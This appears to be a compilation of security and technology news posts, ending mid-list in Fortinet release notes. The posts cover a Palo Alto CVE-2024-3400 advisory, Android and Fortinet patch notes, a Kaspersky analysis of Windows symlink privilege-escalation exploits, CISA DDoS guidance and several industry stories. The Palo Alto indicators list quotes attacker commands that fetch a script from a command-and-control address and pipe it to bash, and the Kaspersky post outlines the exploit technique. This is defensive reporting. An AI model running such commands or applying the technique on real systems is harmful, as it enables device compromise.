Alto Networks would like to thank Volexity for finding this issue and their continuing coordination and partnership. Please reference Volexity’s blog for their analysis. Palo Alto Networks has shared our findings with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance. Protections and mitigations for the observed exploitation activity are below and will be updated as more become available. Palo Alto Networks Product Protections for CVE-2024-3400 Palo Alto Networks customers can leverage a variety of product protections and updates to identify and defend against this threat. If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call: North America Toll-Free: 866.486.4842 (866.4.UNIT42) EMEA: +31.20.299.3130 APAC: +65.6983.8730 Japan: +81.50.1790.0200 Next-Generation Firewalls and Prisma Access With Advanced Threat Prevention Next-Generation Firewall with the Advanced Threat Prevention security subscription can help block exploitation of CVE-2024-3400 via Threat Prevention signature: 95187. Cortex XDR, XSIAM and the Unified Cloud Agent Cortex XDR and XSIAM agents and analytics help protect and detect against post-exploitation activity if an attacker tries to enumerate or laterally move to other assets. Cortex Xpanse and XSIAM ASM Module Cortex Xpanse has the ability to identify exposed Palo Alto Networks GlobalProtect devices on the public internet and escalate these findings to defenders. Customers can enable alerting on this risk by ensuring that the Palo Alto Networks GlobalProtect Attack Surface Rule is enabled. Identified findings can either be viewed in the Threat Response Center or in the incident view of Expander. These findings are also available for Cortex XSIAM customers who have purchased the ASM module. Indicators of Compromise UPSTYLE Backdoor Update.py 3de2a4392b8715bad070b2ae12243f166ead37830f7c6d24e778985927f9caac 5460b51da26c060727d128f3b3d6415d1a4c25af6a29fef4cc6b867ad3659078 Command and Control Infrastructure 172.233.228[.]93 hxxp://172.233.228[.]93/policy hxxp://172.233.228[.]93/patch 66.235.168[.]222 Hosted Python Backdoor 144.172.79[.]92 nhdata.s3-us-west-2.amazonaws[.]com Observed Commands wget -qO- hxxp://172.233.228[.]93/patch|bash wget -qO- hxxp://172.233.228[.]93/policy | bash Additional Resources CVE-2024-3400 PAN-OS: OS Command Injection Vulnerability in GlobalProtect Gateway – Palo Alto Networks Zero-Day Exploitation of Unauthenticated Remote Code Execution Vulnerability in GlobalProtect (CVE-2024-3400) – Volexity Palo Alto Networks Releases Guidance for Vulnerability in PAN-OS, CVE-2024-3400 – Cybersecurity and Infrastructure Security Agency (CISA) Updated April 12, 2024, at 10:15 a.m. PT to add Cortex XDR and XSIAM product protections, as well as Additional Resources. Updated April 12, 2024, at 12:45 a.m. PT to add Cortex Xpanse product protections. UPDATE : Unfortunately, Palo Alto Networks updated their advisory today to warn that previously shared mitigations have been found to be ineffective at protecting devices from the vulnerability. "Earlier versions of this advisory, disabling device telemetry was listed as a secondary mitigation action. Disabling device telemetry is no longer an effective mitigation," reads an update to Palo Alto's advisory. "Device telemetry does not need to be enabled for PAN-OS firewalls to be exposed to attacks related to this vulnerability." Therefore, the best solution is to install the latest PAN-OS software update to fix the vulnerability. Additionally, if you have an active 'Threat Prevention' subscription, you can block ongoing attacks by activating 'Threat ID 95187' threat prevention-based mitigation. https://unit42.paloaltonetworks.com/cve-2024-3400/

We are pleased to inform you that Fortinet has released the latest update for FortiOS 7.0, version 7.0.15. This update brings a range of enhancements, optimizations, and security updates to further strengthen your network infrastructure's resilience and performance. Key highlights of the FortiOS 7.0.15 update include: Resolved issues 7.0.15 The following issues have been fixed in version 7.0.15. To inquire about a particular bug, please contact Customer Service & Support. Application Control Bug ID Description 952307 FG-400F sees increased packet loss when using an application list in the policy. FortiGate 6000 and 7000 platforms Bug ID Description 949175 During FIM failover from FIM2 to FIM1, the NP7 PLE sticks on a cache invalidation, stopping traffic. HA Bug ID Description 869557 Upgrading or re-uploading an image to the HA secondary node causes the OS to be un-certified. 1011674 Upgrading from 7.0.14 GA to 7.2.8 GA from an HA secondary node fails with BIOS security level 2. The new image is unrecognized as un-certified and aborts the upgrade process. The HA cluster is unaffected. Hyperscale Bug ID Description 936747 Connections per second (CPS) performance of SIP sessions accepted by hyperscale firewall policies with EIM and EIF disabled that include overload with port block allocation (PBA) GCN IP pools is lower than expected. 949188 ICMP reply packets are dropped by FortiOS in a NAT64 hyperscale policy. 961684 When DoS policies are used and the system is under stress conditions, BGP might go down. 976972 New primary can get stuck on failover with HTTP CC sessions. Intrusion Prevention Bug ID Description 968367 IPS engine high memory usage can cause FortiOS to go into conserve mode. Limitations Bug ID Description 961992 The buffer and description queue limitation of Marvell switch ports causes a performance limitation. Routing Bug ID Description 935370 SD-WAN performance SLA tcp-connect probes clash with user sessions. Security Fabric Bug ID Description 887967 Fabric crashes when synchronizing objects with names longer than 64 characters. 988526 Address object changes from the CLI of the root FortiGate in Security Fabric are not synchronized with downstream devices. SSL VPN Bug ID Description 821240 SSLVPNVD 11 signal failure due to attempt to read out of bounds memory. System Bug ID Description 828557 FortiGate as DHCP relay is not showing a DHCP decline in the debugs when there is an IP conflict in the network. 888941 Some sessions are still reported as offloaded when auto-asic-offload is disabled. 910829 Degraded traffic bandwidth for download passing from 10G to 1G interfaces. 937500, 969083 FortiOS does not accept an installation script from FortiManager when creating an extender-profile with login-password-change is set to yes. 938449 In the 4.19 kernel, when a neighbor's MAC is changed, the session and IPsec tunnel cannot be flushed from the NPU. 943090 Buffer and description queue limitation of Marvell switch port will cause a performance limitation. 949481 The tx_collision_err counter in the FortiOS CLI keeps increasing on both 10G SFP+ X1 and X2 interfaces. 956107 On the FortiGate 400F and 600F, the buffer and description queue limitation of the Marvell switch port causes a performance limitation. 984696 Network usage is not accurately reported by the get system performance status command. 986698 The NP7 should use the updated MAC address from the ARP table to forward traffic to the destination server. 1001938 Support Kazakhstan time zone change to a single time zone, UTC+5. User & Authentication Bug ID Description 1000108 Guest-management administrators cannot see or print guest user passwords in plain text; the password is masked as ENC XXXX string. WiFi Controller Bug ID Description 821320 FG-1800F drops wireless client traffic in L2 tunneled VLAN with capwap-offload enabled. We strongly recommend applying this update to your Fortinet devices to benefit from the latest features, security enhancements, and performance optimizations. Keeping your systems up to date is crucial in maintaining a secure and efficient network environment. For more information about the update process, release notes, and support resources, please visit the Fortinet Support Portal or reach out to Fortinet dedicated support team for assistance.

Google Issues Security Warning for Pixel Devices: Critical Vulnerabilities Detected Google has issued a security advisory to Pixel users, alerting them to two high severity vulnerabilities that may be under limited, targeted exploitation. These vulnerabilities, identified as CVE-2024-29745 and CVE-2024-29748, pose significant risks and require immediate attention. The first vulnerability, CVE-2024-29745, is classified as an information disclosure vulnerability in the bootloader component. Bootloaders play a crucial role in the boot process of devices, ensuring that essential operating system data is loaded into memory during startup. Exploitation of this vulnerability could lead to unauthorized access to sensitive information stored on the device. The second vulnerability, CVE-2024-29748, is an elevation of privilege (EoP) vulnerability found in the Pixel firmware. Firmware serves as device-specific software that provides fundamental machine instructions necessary for hardware functionality and interaction with other software components. If exploited, this vulnerability could allow attackers to escalate their privileges on the device, potentially gaining control over critical system functions. To address these security risks, Google has released a security patch with a designated level of 2024-04-05 for Pixel devices. It is imperative for Pixel users to apply this security patch promptly to protect their devices from potential exploitation and mitigate the associated risks. Google emphasizes the importance of keeping devices up to date with the latest security patches and software updates to ensure optimal security posture and protect against emerging threats. Users are encouraged to enable automatic updates and regularly check for security patches to stay protected from vulnerabilities and cyber threats. In conclusion, the detection and prompt mitigation of these high severity vulnerabilities underscore Google's commitment to prioritizing user security and addressing potential security risks proactively. Pixel users are urged to take immediate action by applying the latest security patch to safeguard their devices and mitigate the risks associated with these vulnerabilities. ------------------ Android Security Bulletin—April 2024 Published April 1, 2024 The Android Security Bulletin contains details of security vulnerabilities affecting Android devices. Security patch levels of 2024-04-05 or later address all of these issues. To learn how to check a device's security patch level, see Check and update your Android version. Android partners are notified of all issues at least a month before publication. Source code patches for these issues will be released to the Android Open Source Project (AOSP) repository in the next 48 hours. We will revise this bulletin with the AOSP links when they are available. The most severe of these issues is a high security vulnerability in the System component that could lead to local escalation of privilege with no additional execution privileges needed. The severity assessment is based on the effect that exploiting the vulnerability would possibly have on an affected device, assuming the platform and service mitigations are turned off for development purposes or if successfully bypassed. Refer to the Android and Google Play Protect mitigations section for details on the Android security platform protections and Google Play Protect, which improve the security of the Android platform. Android and Google service mitigations This is a summary of the mitigations provided by the Android security platform and service protections such as Google Play Protect. These capabilities reduce the likelihood that security vulnerabilities could be successfully exploited on Android. Exploitation for many issues on Android is made more difficult by enhancements in newer versions of the Android platform. We encourage all users to update to the latest version of Android where possible. The Android security team actively monitors for abuse through Google Play Protect and warns users about Potentially Harmful Applications. Google Play Protect is enabled by default on devices with Google Mobile Services, and is especially important for users who install apps from outside of Google Play. 2024-04-01 security patch level vulnerability details In the sections below, we provide details for each of the security vulnerabilities that apply to the 2024-04-01 patch level. Vulnerabilities are grouped under the component they affect. Issues are described in the tables below and include CVE ID, associated references, type of vulnerability, severity, and updated AOSP versions (where applicable). When available, we link the public change that addressed the issue to the bug ID, like the AOSP change list. When multiple changes relate to a single bug, additional references are linked to numbers following the bug ID. Devices with Android 10 and later may receive security updates as well as Google Play system updates. Framework The most severe vulnerability in this section could lead to local escalation of privilege with no additional execution privileges needed. CVE References Type Severity Updated AOSP versions CVE-2024-23710 A-311374917 EoP High 13, 14 CVE-2024-23713 A-305926929 EoP High 12, 12L, 13, 14 CVE-2024-0022 A-298635078 ID High 13, 14 CVE-2024-23712 A-304983146 DoS High 12, 12L, 13, 14 System The most severe vulnerability in this section could lead to local escalation of privilege with no additional execution privileges needed. CVE References Type Severity Updated AOSP versions CVE-2024-23704 A-299931761 EoP High 13, 14 CVE-2023-21267 A-218495634 [2] [3] ID High 12, 12L, 13, 14 CVE-2024-0026 A-308414141 DoS High 12, 12L, 13, 14 CVE-2024-0027 A-307948424 DoS High 12, 12L, 13, 14 Google Play system updates There are no security issues addressed in Google Play system updates (Project Mainline) this month. 2024-04-05 security patch level vulnerability details In the sections below, we provide details for each of the security vulnerabilities that apply to the 2024-04-05 patch level. Vulnerabilities are grouped under the component they affect. Issues are described in the tables below and include CVE ID, associated references, type of vulnerability, severity, and updated AOSP versions (where applicable). When available, we link the public change that addressed the issue to the bug ID, like the AOSP change list. When multiple changes relate to a single bug, additional references are linked to numbers following the bug ID. MediaTek components These vulnerabilities affect MediaTek components and further details are available directly from MediaTek. The severity assessment of these issues is provided directly by MediaTek. CVE References Severity Subcomponent CVE-2024-20039 A-323462011 M-MOLY01240012 * High Modem Protocol CVE-2024-20040 A-323465955 M-ALPS08360153 * High wlan firmware CVE-2023-32890 A-323469023 M-MOLY01183647 * High Modem EMM Widevine This vulnerability affects Widevine components and further details are available directly from Widevine. The severity assessment of this issue is provided directly by Widevine. CVE References Severity Subcomponent CVE-2024-0042 A-312543200 * High Widevine DRM Qualcomm components These vulnerabilities affect Qualcomm components and are described in further detail in the appropriate Qualcomm security bulletin or security alert. The severity assessment of these issues is provided directly by Qualcomm. CVE References Severity Subcomponent CVE-2024-21468 A-318393412 QC-CR#3614610 [2] High Kernel CVE-2024-21472 A-318393741 QC-CR#3626401 High Kernel Qualcomm closed-source components These vulnerabilities affect Qualcomm closed-source components and are described in further detail in the appropriate Qualcomm security bulletin or security alert. The severity assessment of these issues is provided directly by Qualcomm. CVE References Severity Subcomponent CVE-2023-28582 A-299147008 * Critical Closed-source component CVE-2023-28547 A-303101227 * High Closed-source component CVE-2023-33023 A-303101376 * High Closed-source component CVE-2023-33084 A-299146258 * High Closed-source component CVE-2023-33086 A-299146962 * High Closed-source component CVE-2023-33095 A-299146595 * High Closed-source component CVE-2023-33096 A-299146025 * High Closed-source component CVE-2023-33099 A-303101372 * High Closed-source component CVE-2023-33100 A-303101224 * High Closed-source component CVE-2023-33101 A-303101066 * High Closed-source component CVE-2023-33103 A-299146257 * High Closed-source component CVE-2023-33104 A-299146882 * High Closed-source component CVE-2023-33115 A-303101567 * High Closed-source component CVE-2024-21463 A-318393254 * High Closed-source component Common questions and answers This section answers common questions that may occur after reading this bulletin. 1. How do I determine if my device is updated to address these issues? To learn how to check a device's security patch level, see Check and update your Android version. Security patch levels of 2024-04-01 or later address all issues associated with the 2024-04-01 security patch level. Security patch levels of 2024-04-05 or later address all issues associated with the 2024-04-05 security patch level and all previous patch levels. Device manufacturers that include these updates should set the patch string level to: [ro.build.version.security_patch]:[2024-04-01] [ro.build.version.security_patch]:[2024-04-05] For some devices on Android 10 or later, the Google Play system update will have a date string that matches the 2024-04-01 security patch level. Please see this article for more details on how to install security updates. 2. Why does this bulletin have two security patch levels? This bulletin has two security patch levels so that Android partners have the flexibility to fix a subset of vulnerabilities that are similar across all Android devices more quickly. Android partners are encouraged to fix all issues in this bulletin and use the latest security patch level. Devices that use the 2024-04-01 security patch level must include all issues associated with that security patch level, as well as fixes for all issues reported in previous security bulletins. Devices that use the security patch level of 2024-04-05 or newer must include all applicable patches in this (and previous) security bulletins. Partners are encouraged to bundle the fixes for all issues they are addressing in a single update. 3. What do the entries in the Type column mean? Entries in the Type column of the vulnerability details table reference the classification of the security vulnerability. Abbreviation Definition RCE Remote code execution EoP Elevation of privilege ID Information disclosure DoS Denial of service N/A Classification not available 4. What do the entries in the References column mean? Entries under the References column of the vulnerability details table may contain a prefix identifying the organization to which the reference value belongs. Prefix Reference A- Android bug ID QC- Qualcomm reference number M- MediaTek reference number N- NVIDIA reference number B- Broadcom reference number U- UNISOC reference number 5. What does an * next to the Android bug ID in the References column mean? Issues that are not publicly available have an * next to the corresponding reference ID. The update for that issue is generally contained in the latest binary drivers for Pixel devices available from the Google Developer site. 6. Why are security vulnerabilities split between this bulletin and device/partner security bulletins, such as the Pixel bulletin? Security vulnerabilities that are documented in this security bulletin are required to declare the latest security patch level on Android devices. Additional security vulnerabilities that are documented in the device/partner security bulletins are not required for declaring a security patch level. Android device and chipset manufacturers may also publish security vulnerability details specific to their products, such as Google, Huawei, LGE, Motorola, Nokia, or Samsung.

WhatsApp, the popular messaging platform used by billions worldwide, experienced a major outage today at 9:00 pm, causing users to be unable to send or receive messages. The outage affected users across various regions Image source : https://downdetector.com/status/whatsapp/ Service seems to be back to normal.

Sega's recent announcement of extensive layoffs has sent shockwaves through the gaming industry, impacting key studios such as Sega Europe, Creative Assembly, and Hardlight. The news came in an email from Sega Europe boss Jurgen Post, detailing the layoffs affecting approximately 240 roles across these studios. Notably, the email also mentioned the sale of Relic Entertainment, responsible for iconic titles like Company of Heroes and Dawn of War. While specific numbers for each studio were not disclosed, Sega did confirm that Sports Interactive and Two Point Studios, also under the Sega Europe umbrella, were not affected. Despite the layoffs, Creative Assembly's upcoming projects, including new entries in the Total War series and an unannounced project, are still in active development. The sale of Relic Entertainment marks a significant transition as the studio moves towards becoming independently operated. Sega expressed its support for this shift, indicating a positive outlook for Relic's future endeavors. Relic itself affirmed its newfound independence, mentioning an external investor aiding in this transition. Notably, work on Company of Heroes 3 and ongoing support for their existing games will continue unabated. This announcement underscores the volatile nature of the gaming industry, where companies must navigate evolving market dynamics while striving to maintain creativity and innovation. As Sega and its associated studios navigate these changes, the gaming community eagerly anticipates the future projects and developments that will emerge from this transformative period. With Relic have posted this with the news announcement : I think after Relic failed with Company of Heroes 3 and ruined the series with this failure , SEGA might have lost more than it invested and realized it is not worth to keep Relic with their failing game CoH3. From a gaming giant in the old school gaming market, to a company that is laying off staff and developers.

Google Settles Lawsuit, Agrees to Delete Billions of Data Records from Chrome's Incognito Mode In a significant development regarding online privacy, Google has reached a settlement in a class-action lawsuit that accused the tech giant of collecting data from users' Chrome browsers while in Incognito mode without proper disclosure. This settlement marks a crucial step in addressing concerns about user privacy and data collection practices in one of the most widely used web browsers globally. The lawsuit, filed in June 2020, alleged that Google collected billions of data records from 136 million Chrome users in the United States while they were browsing in Incognito mode. This mode is designed to offer users a private browsing experience by not storing their browsing history or cookies. However, the lawsuit argued that Google's practices violated users' privacy expectations and failed to provide adequate transparency about data collection activities. As part of the settlement, Google has agreed to delete the data records collected from Chrome users in Incognito mode. This move is significant as it demonstrates Google's acknowledgment of the concerns raised by users and regulatory bodies regarding data privacy. By taking this action, Google aims to address the allegations of undisclosed data collection and improve transparency in its browser's privacy features. The case highlights broader issues surrounding online privacy and the challenges users face in maintaining control over their personal data while using digital services. Incognito mode, although intended to offer a level of privacy, has faced scrutiny for not providing complete anonymity or protection against tracking by websites and third-party entities. In response to the settlement, Google has reaffirmed its commitment to user privacy and stated that it will continue to enhance privacy features in Chrome to provide users with more control over their data. This includes improving transparency about data collection practices, implementing stricter privacy controls, and empowering users to make informed decisions about their online privacy settings. The resolution of this lawsuit serves as a reminder of the importance of transparency, accountability, and user empowerment in the digital age. It highlights the ongoing efforts by both technology companies and regulators to address privacy concerns and create a more privacy-conscious digital ecosystem that respects users' rights to data protection and control.

14 Mar 2024 Authors Elsayed Elrefaei Ashraf Refaat Kaspersky GERT On August 8, 2023, Microsoft finally released a kernel patch for a class of vulnerabilities affecting Microsoft Windows since 2015. The vulnerabilities lead to elevation of privilege (EoP), which allows an account with user rights to gain SYSTEM privileges on a vulnerable host. The root cause of this attack surface, according to a 2015 blog, is the ability of a normal user account to replace the original C:\ drive with a fake one by placing a symlink for the system drives in the device map for each login session. This fake drive will be followed by the kernel during impersonation instead of the original system drive. More than five months after the patches for these vulnerabilities were released, we’re still seeing some of their exploits in the wild because it’s a very easy way to get a quick NT AUTHORITY\SYSTEM and that’s why it may be favored by well-known threat actors. We discussed these findings at the BlackHat MEA conference in November 2023, and in December 2023 and January 2024, we found two exploits that could still use this attack surface in the unpatched version of Windows. Both exploits are packed in UPX. After analyzing the first one, we saw that it was a packed version of a Google Project Zero PoC sample. The other sample was a packed version of an SSD Secure Disclosure public PoC, even using the same NamedPipe “\\\\.\\Pipe\\TyphoonPWN” without modifications. The PDB paths for both samples are: C:\Users\Administrator\source\repos\exp\x64\Release\exp.pdb C:\VVS-Rro\CVEs\spool\BitsPoc\src\x64\Release\PoC_BITs.pdb Below we will highlight the key points and then focus on how to check if any of the vulnerabilities have been exploited or if there have been any attempts to exploit them, and enumerate popular CVEs included in this vulnerable surface. Affected processes and services include native Windows services that run by default on most versions of the operating system. These include: CSRSS Windows Error Reporting (WER) File history service Background intelligence transfer service (BITS) Print Spooler Vulnerable Windows processes and services The exploits affecting this attack surface share a common logic or pattern, including: Searching for a DLL that runs with system integrity. The DLL has an isolation-aware manifest file. The ability to change the C:\ root to a writable directory via symlinks. CSRSS | CVE-2022-22047 This Activation Context Cache Poisoning vulnerability leads to local privilege escalation. It’s one of the CVEs that was actively exploited by a threat actor called KNOTWEED | Denim Tsunami. Reversing the in-the-wild exploit for the CVE-2022-22047 shows: The exploit crafts a call into CSRSS. The call requests an activation context for a privileged executable and specifies a malicious manifest. The manifest uses an undocumented manifest XML attribute named loadFrom. This attribute allows unrestricted redirection of DLLs to any location on a disk, including locations outside of the normal search path, without even having to change the C:\ root drive. Here is a detailed blog post by ZDI explaining CSRSS Cache Poisoning. CSRSS | CVE-2022-37989 The second vulnerability, involving CSRSS Cache Poisoning, was a workaround for the first CVE-2022-22047. After patching the undocumented “LoadFrom” attribute, there was another attribute that could be abused to load a manifest file from a user-controlled path by declaring a dependent assembly using path traversal in the name attribute. The patch for the CVE-2022-37989 was simple: check if the name attribute of the dependency contains any forward or backward slashes, and set a flag to stop caching this suspicious manifest if name path traversal is detected. This CVE was discovered by ZDI. Print Spooler | CVE-2022-29104 Print Spooler is a service that runs by default in almost all versions of Windows. It’s responsible for managing paper print jobs sent from a computer to a printer or print server. Reversing in-the-wild exploits of the CVE-2022-29104 Print Spooler vulnerability shows that it’s a .NET sample that creates a symbolic link from C:\ to the fake root C:\Imprint. The sample was uploaded to VirusTotal. Fake C:\ drive structure: C:\Imprint\Windows\system32 C:\Imprint\Windows\WinSxS All folders inside the Imprint folder are writable, allowing an attacker to control their contents. Path traversal is added to “AssemblyIdentity” to point to the Imprint writable path. The vulnerability analysis shows that: An attacker can remap the root drive (C:\) for privileged processes during impersonation. During impersonation, all file accesses are performed using the DOS device map of the impersonated process. CSRSS uses a user-modified side-by-side manifest for generating the activation context instead of the manifest in the WinSxS folder C:\Windows\WinSxS. The WinSxS folder stores multiple copies of system files and components. The WinSxS folder provides a central location for storing different versions of system files that are shared by multiple applications and processes. The WinSxS folder provides system stability and compatibility by allowing different applications to use the specific versions of files they need. WinSxS avoids DLL hell, a problem that occurs when different applications require different versions of the same DLL. The Windows operating system uses the application manifest to determine which version is appropriate for which app. The application manifest is stored in XML format and describes: The dependencies associated with the application. What permissions the application requires. What compatibility settings the application supports. CSRSS mitigation was enabled for spoolsv.exe and printfilterpipelinesvc.exe to stop impersonation while loading external resources, and then to resume impersonation after the external resources are loaded. Print Spooler | CVE-2022-41073 After CVE-2022-29104 was patched, another vulnerability affecting Print Spooler was discovered – CVE-2022-41073. Reversing the in-the-wild exploit of this vulnerability shows some XML manipulation using path traversal to a writable path containing a modified version of prntvpt.dll that is loaded by Print Spooler. According to Project Zero, mitigation was added to CSRSS, the patch simply stopped any impersonation prior to the LoadLibraryExW call in winspool!LoadNewCopy, and then resumed it. After that the LoadLibraryExW call returned: + if (RevertToProcess(&TokenHandle, x) >= 0) { lib = LoadLibraryExW(arg1, 0, dwFlags); + ResumeImpersonation(TokenHandle); + } 1 2 3 4 + if (RevertToProcess(&TokenHandle, x) >= 0) { lib = LoadLibraryExW(arg1, 0, dwFlags); + ResumeImpersonation(TokenHandle); + } NtOpenFile is called with the OBJ_IGNORE_IMPERSONATED_DEVICEMAP flag. It will stop impersonation when loading any external resources while using the LoadNewCopy API. Stopping impersonation means that privileged processes will not use the fake root implemented with the medium integrity process, and instead it will use the original C:\ drive root to avoid loading untrusted or malicious resources. Windows Error Reporting | CVE-2023-36874 Windows Error Reporting (WER) is a privileged service that analyzes and reports various software issues in Windows. The root cause for the exploitation of the CVE-2023-36874 vulnerability is CreateProcess API when a crash happens, because CreateProcess API can be tricked into following the fake root and creating the process from this writable fake root in the context of the privileged WER service, leading to privilege escalation. CVE-2023-36874 was exploited in the wild and has several published PoCs. The exploit interacts with the IWerReport COM interface and calls SubmitReport, then UtilLaunchWerManager is called, which calls CreateProcess. CreateProcess API is then vulnerable to DoS device modification. Once the exploit to submit a fake crash report is executed, it will end up calling the vulnerable CreateProcess API. File History Service | CVE-2023-35359 File History Service can be used to automatically back up personal folders and files such as documents, pictures and videos. Reversing the in-the-wild exploit shows that when File History Service starts, it impersonates the current user and then loads a DLL called fhcfg.dll under impersonation. This DLL has an “application aware manifest config” that attempts to load another resource called msasn1.dll. The exploit starts with the usual technique of changing the C:\ root to a fake writable root. Windows Error Reporting – 2nd exploit | CVE-2023-35359 After patching the first Windows Error Reporting vulnerability, which used the CreateProcess API inside the privileged WER service and follows the fake root to create a process. The patched WER service started using CreateProcessAsUser instead of CreateProcess API. However, after that patch, adversaries found another way that could lead to the use of CreateProcess again under certain conditions, which was considered a new vulnerability. For example, if the WER service was marked as disabled on a system and there was a privileged process impersonating a medium-integrity user on that system, and an unhandled exception occurs during impersonation that results in a crash, that crash tries to enable the WER service for reporting. The detailed analysis for this CVE shows that it does not appear to be exploitable. The exploitation of CVE-2023-35359 BITS | CVE-2023-35359 The Background Intelligence Transfer Service (BITS) is responsible for facilitating the asynchronous and prioritized transfer of files between a client and a server. BITS operates in the background, which means it can perform file transfers without interrupting a user or consuming all of the available network. You may notice that the number CVE-2023-35359 has not changed for the last three CVEs because Microsoft decided in the last patch to assign the same CVE to all vulnerabilities of this type. So there are different vulnerabilities in different processes/services but with the same CVE number. Timeline for the bypassing/patching process from 2015 to August 2023 How was the patch for this attack surface applied? The patch was applied to ObpLookupObjectName to check if the loaded resource is a file object and the call to ObpUseSystemDeviceMap succeeds. It then ignores the impersonation and uses SystemDevice. ObpLookupObjectName checks FileObjectType followed by a call to ObpUseSystemDeviceMap. The ObpUseSystemDeviceMap function checks for the SystemDevice to be used instead of the impersonated device. How to check if a vulnerability was exploited or any attempts were made to exploit it? When analyzing most of the exploits targeting this attack surface, we observed a common behavior that could be used as an indicator of whether there were any attempted exploits: Most of the in-the-wild exploits create a writable folder inside the C:\ drive, and the structure of this folder mimics the structure of the original C:\ drive, for example: C:\Windows\System32 → C:\FakeFolder\Windows\System32 C:\Windows\WinSxS → C:\FakeFolder\Windows\WinSxS So finding a writable folder that mimics the C:\ drive folder structure may be an indicator of an exploitation attempt. Copying the manifest files from the original WinSxS folder in C:\Windows\WinSxS to a writable directory and modifying them could be a good indicator of an exploitation attempt. Manifest files that contain undocumented XML attributes such as “LoadFrom” or manifest files that contain path traversal in the “name” attribute could be a valid sign of an exploitation attempt. Creating a symbolic link from the original system drive to a writable directory, especially from processes with medium integrity using the \RPC Control\ object directory.

The United States government has recently updated its Distributed Denial of Service (DDoS) guidelines on March 2024 The updated guidelines, released by the Cybersecurity and Infrastructure Security Agency (CISA), provide comprehensive recommendations and best practices to mitigate the impact of DDoS attacks. These guidelines are designed to help organizations across various sectors, including government agencies, private enterprises, and critical infrastructure operators, better defend against and respond to DDoS incidents. DoS and DDoS A DoS and a DDoS attack are similar in that they both aim to disrupt the availability of a target system or network. However, there are key differences between the two. 1. DoS Attack: A DoS attack involves a single source used to overwhelm the target system with a flood of traffic or resource-consuming requests. The malicious actor typically uses one computer or a small number of computers to generate the attack. The goal of a DoS attack is to render the target system unavailable to its intended users and deny them access to resources or services. 2. DDoS Attack: A DDoS attack involves multiple sources. Often, a multitude of compromised computers—known as botnets—are coordinated to launch the attack. Each machine in the botnet sends a flood of traffic or requests to the target system simultaneously to amplify the follow-on impact. Due to the distributed nature of a DDoS attack, defending targeted networks has increased difficulty compared to a DoS attack. The main advantage of a DDoS attack over a DoS attack is the ability to generate a significantly higher volume of traffic, overwhelming the target system’s resources to a greater extent. DDoS attacks can also employ various techniques, such as IP spoofing, which involves a malicious actor manipulating the source IP address and botnets to disguise the origin of the attack and make it more difficult to trace it back to them. In terms of impact, both DoS and DDoS attacks can disrupt the availability of a targeted system or network, leading to service outages, financial losses, and reputational damage. DoS and DDoS Attacks Categorized Into Three Technique Types 1. Volume-Based Attacks: These attacks aim to consume the available bandwidth or system resources of the target by overwhelming it with a massive volume of traffic. The goal is to saturate the network or exhaust the target’s resources, rendering it unable to handle legitimate requests. Source : Taken from the PDF file, rest can be found in the bottom of the post with the PDF Link. The updated guidelines underscore the evolving nature of cyber threats and the need for proactive measures to safeguard digital assets and critical infrastructure. By adopting these guidelines and investing in cybersecurity measures, organizations can strengthen their resilience against DDoS attacks and contribute to a more secure cyber landscape. The guideline can be found here : https://www.cisa.gov/sites/default/files/2024-03/Understanding and Responding to Distributed Denial-of-Service Attacks_508c.pdf

WARNING: Global themes and widgets created by 3rd party developers for Plasma can and will run arbitrary code. You are encouraged to exercise extreme caution when using these products. A user has had a bad experience installing a global theme on Plasma and lost personal data. https://www.reddit.com/r/kde/comments/1bixmbx/do_not_install_global_themes_some_wipe_out_all/ Global themes change the look of Plasma, but also the behavior. To do this they run code, and this code can be faulty, as in the case mentioned above. The same goes for widgets and plasmoids. For now as CAUTION , better not to download any custom themes for Plasma KDE Linux https://floss.social/@kde/112128243960545659

Due to cheats being used in the Final , the Tournament was postponed and a twitter post by Apex Legends Esports states the following : While Easy Anti Cheat stating this after According to PCGAMESN website that : Midway through their match on Storm Point, TSM’s Phillip ‘ImperialHal’ Dosen and DarkZero’s Noyan ‘Genburten’ Ozkose were both hit by what appears to be an RCE hack, meaning that the bad actor could, in theory, manipulate elements of their games. As a result, both players had their cheats toggled on instead of off, hence Hal’s “I’ve got an aimbot.”Additionally, as the hack went through, a bizarre message seems to have popped up on Genburten’s screen, showing that cheats were, in fact, switched on mid-match. As a result, Respawn terminated the match, officially stating that “due to the competitive integrity of this series being compromised, we have made the decision to postpone the NA finals at this time. We will share more information soon.” --- It is quite weird and funny how even in Tournaments , Gamers will still try to cheat while the Anti-Cheat software or the people who monitor are almost useless. Paying a license to anticheat software as a developer that won't be able to protect your game even in a country wide tournament.. is quite an astonishing disappointment. EAC clarifying that their software is not vulnerable but not clarifying about the cheat being un-detected is also more funny. Gamers were hacking their way to the 2 millions

Resolved issues 7.0.14 Application Control Bug ID Description 820481 For firewall policies using inspection-mode proxy, some HTTP/2 sessions may be invalidly detected as unknown application. DNS Filter Bug ID Description 907365 DNS proxy caches DNS responses with only one CNAME record. Endpoint Control Bug ID Description 979811 The ZTNA channel is not cleaned when overwriting old lls entries. Explicit Proxy Bug ID Description 901627 Explicit proxy and SD-WAN fail to match a policy if the destination has multiple zones set. 942612 Web proxy forward server does not convert HTTP version to the original version when sending them back to the client. 978473 Explicit proxy policy function issues when matching external-threat feed categories. Firewall Bug ID Description 898938 NAT64 does not recover when the interface changes. 953907 Virtual wire pair interface drops all packet if the prp-port-in/prp-port-out setting is configured under system npu-setting prp on FG-101F. 977641 In transparent mode, multicast packets are not forwarded through the bridge and are dropped. GUI Bug ID Description 848660 Read-only administrator may encounter a Maximum number of monitored interfaces reached error when viewing an interface bandwidth widget for an interface that does not have the monitor bandwidth feature enabled. 867802 GUI always displays Access denied error after logging in. 874502 A prompt to Login as ReadOnly/ReadWrite is not displayed when post-login-banner is enabled on a FortiGate managed by FortiManager. 969101 Managed FortiAP-s page is not loading for non super-admin users. HA Bug ID Description 871636 HA configuration synchronization packets (Ethertype 0x8893) are dropped when going through VXLAN. 904117 When walking through the session list to change the ha_id, some dead sessions could be freed one more time. 924671 There is no response on ha-mgmt-interfaces after a reboot when using a VLAN interface based on hd-sw as the ha-mgmt interface. 937246 An error condition occurred while forwarding over a VRRP address, caused by the creation of a new VLAN. 949352 The user.radius checksum is the same in both HA units, but the GUI shows a different checksum on the secondary and the HA status is out of sync. 962681 In a three member A-P cluster, the dhcp lease list (execute dhcp lease-list) might be empty on secondary units. Hyperscale Bug ID Description 839958 service-negate does not work as expected in a hyperscale deny policy. 940511 In some 